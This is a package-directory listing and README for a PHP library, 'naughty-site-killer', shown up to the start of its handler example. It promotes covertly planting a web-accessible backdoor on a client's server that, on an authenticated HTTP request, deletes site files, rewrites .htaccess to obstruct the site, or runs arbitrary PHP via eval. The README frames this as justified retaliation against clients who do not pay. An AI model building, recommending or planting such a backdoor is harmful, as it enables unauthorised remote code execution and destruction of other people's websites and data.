PHPackages                             peterujah/naughty-site-killer - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Security](/categories/security)
4. /
5. peterujah/naughty-site-killer

ActiveLibrary[Security](/categories/security)

peterujah/naughty-site-killer
=============================

NaughtySiteKiller provides a secure method for performing critical operations on a server via HTTP requests. It's designed to protect your work when dealing with naughty clients who, after gaining access to their cPanel, change their passwords and refuse to complete payment.

1.1.0(1y ago)11MITPHPPHP ^7.0

Since Jan 4Pushed 1y ago1 watchersCompare

[ Source](https://github.com/peterujah/naughty-site-killer)[ Packagist](https://packagist.org/packages/peterujah/naughty-site-killer)[ Docs](https://github.com/peterujah/naughty-site-killer)[ RSS](/packages/peterujah-naughty-site-killer/feed)WikiDiscussions main Synced 1mo ago

READMEChangelog (2)DependenciesVersions (3)Used By (0)

Is Your Client a Naughty Client?
--------------------------------

[](#is-your-client-a-naughty-client)

We don't like peace, we want problems always.

### Naughty Killer Class

[](#naughty-killer-class)

Ah, the joy of building a website for a "naughty" client who refuses to pay after getting full access to their cPanel. Don't fret! Instead of chasing them down, just drop the **NaughtySiteKiller** class on their server as a failsafe. This class lets you send HTTP requests to perform some rather *justifiable* actions on their website—whether it's deleting files, creating fake templates, or obstructing their site's content. It's the digital equivalent of "you won't pay? Fine, enjoy your broken website.

#### Key Features:

[](#key-features)

1. **Authentication**: Validates requests using Bearer or Basic token schemes.
2. **Token Generation**: Generate tokens from a password for authentication purposes.
3. **Action Handling**: Executes actions like `kill` (deletes files and self-destructs the script), `template` (creates template files and updates `.htaccess`) or `execute` (Execute a string as PHP code using `eval` function).
4. **Security**: Ensures that requests are authenticated by comparing the hashed token value.

---

Installation via Composer:

```
composer require peterujah/naughty-site-killer
```

---

### Usage Examples

[](#usage-examples)

Simply place the `NaughtySiteKiller` class on their server as an insurance measure. It supports token-based authentication and various actions like deleting files, creating templates, and updating `.htaccess` securely.

#### 1. Generating a Hashed Token

[](#1-generating-a-hashed-token)

To authenticate requests, generate a token by hashing a password using the `sha256` algorithm. This token will be used for all incoming HTTP requests.

**Example**:

```
$password = 'super_secret_password';
$token = \PeterUjah\NaughtySiteKiller::generateToken($password);  // Returns: "Bearer "
```

Alternatively, you can directly hash the password:

```
$password = 'super_secret_password';
echo hash('sha256', $password);  // Outputs the hashed token
```

---

#### 2. Handling the Incoming Request

[](#2-handling-the-incoming-request)

Place the `NaughtySiteKiller` handler on the public directory of the website where it can be accessed through HTTP requests. This handler will process incoming requests, validate the authorization token, check the requested action (`kill`, `execute`, `template`, `kill-self`), and execute the appropriate method.

**Example Usage**:

```
// path/to/public_html/naughty.php
